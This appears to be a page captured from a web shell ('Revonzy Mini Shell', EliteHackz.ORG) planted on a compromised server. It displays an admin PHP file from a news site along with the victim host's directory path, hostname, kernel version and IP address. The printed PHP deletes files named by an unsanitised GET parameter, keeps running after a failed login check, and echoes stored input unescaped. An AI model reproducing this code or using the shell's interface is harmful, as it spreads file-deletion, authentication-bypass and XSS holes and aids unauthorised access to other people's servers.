Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/newsatarabca.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/newsatarabca.com/admin/ecorner.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag 				= 0;
	$actual_image_name	="";
	$success_msg 		= 0;
	$image_error		="";
	$menu				="";
	$menu_error			="";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_POST['add_btn']))
	{	
		$title = $_POST['title'];
		$menu  = $_POST['menu'];
		$actual_video_name=$_POST['video_url'];
		/*$path = "videos/";
		function generateRandomString($length = 10) {
			$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
			$charactersLength = strlen($characters);
			$randomString = '';
			for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
			}
			
			return $randomString;
		}
		
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['video_url']['name'];
			$size 				= 	$_FILES['video_url']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				
					
						$files	=	array();
	
						$current_random_no =  generateRandomString();
						
						$actual_video_name = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['video_url']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_video_name))
						{
							
							
						}
						else
						{
							$error_message = "failed";
						}
					
				
			}
		}*/
		if($flag==0)
		{	
		
	if($db->add_ecorner($menu,$title,$actual_video_name))
	{
		$success_msg=1;
		
	}
			
		
	}
	}
	if(isset($_GET['delete_id']) AND isset($_GET['img']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $img		=	$_GET['img'];
		 unlink("videos/".$img);
		 header('location:ecorner.php');
		 $db->delete_ecorner_info($del_id);
		 $success_msg	=	2;
	}
	
?>
<?php
	require_once('header.php');
?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Ecorner Upload Information</h1>
					<?php
					if($success_msg == 1)
					{
					?>
					<div class="alert alert-success">
					 Saved Successfully.
					</div>
					<?php
					}
					?>
					<?php
					if($success_msg == 2)
					{?>
					 Deleted Successfully.
					<?php
					}
					?>
					
                </div>
                
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                             E-Corner Department Info
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form role="form" method="post" enctype="multipart/form-data" autocomplete="off">
                                          <div class="form-group">
                                            <label>Select Department</label>
                                            <select name="menu" class="form-control">
											<option value="Select Department">Select Department</option>
											<option value="Marathi">Marathi</option>
											<option value="Hindi">Hindi</option>
											<option value="English">English</option>
											<option value="History">History</option>
											<option value="Economics">Economics</option>
											<option value="Geography">Geography</option>
											<option value="Commerce">Commerce</option>
										
											</select>
									   </div>
									 <div class="form-group">
                                            <label>Add Title</label>
                                            <input class="form-control" placeholder="Enter Title" name="title" type="text" required>
											                                       
									   </div>
                                        <div class="form-group">
                                            <label>Video Link</label>
                                            <input class="form-control" placeholder="Enter Video Link" name="video_url" type="text" required>
											                                  
									   </div>
                                     
                                        <button type="submit" class="btn btn-success" name="add_btn">Submit</button>	<br /><br />
                                    </form>
                                </div>
							
                                     <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                                              Ecorner Information Report
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
                                            <th>Serial No</th>
											<th>Department</th>
											 <th>Title</th>
                                            <th>Video</th>
                                            <th>Action</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_ecorner_info();
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$department		=	$report_details[$counter][1];
												$title			=	$report_details[$counter][2];
												$video_url			=	$report_details[$counter][3];
												
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $department; ?></td>
											<td><?php echo $title; ?></td>
											<td>
											<?php
												if($video_url!="")
												{
											?>
											<a href="<?php echo $video_url; ?>" target="_blank"><?php echo $video_url; ?></a>
											<?php
												}
											?>
												
											</td>
											<td><a href="edit-ecorner.php?up_id=<?php echo $id;?>">Edit</a></td>
											<td><a href="ecorner.php?delete_id=<?php echo $id;?>&img=<?php echo $video_url ;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="5">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
             
                <!-- /.col-lg-6 -->
            </div>
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4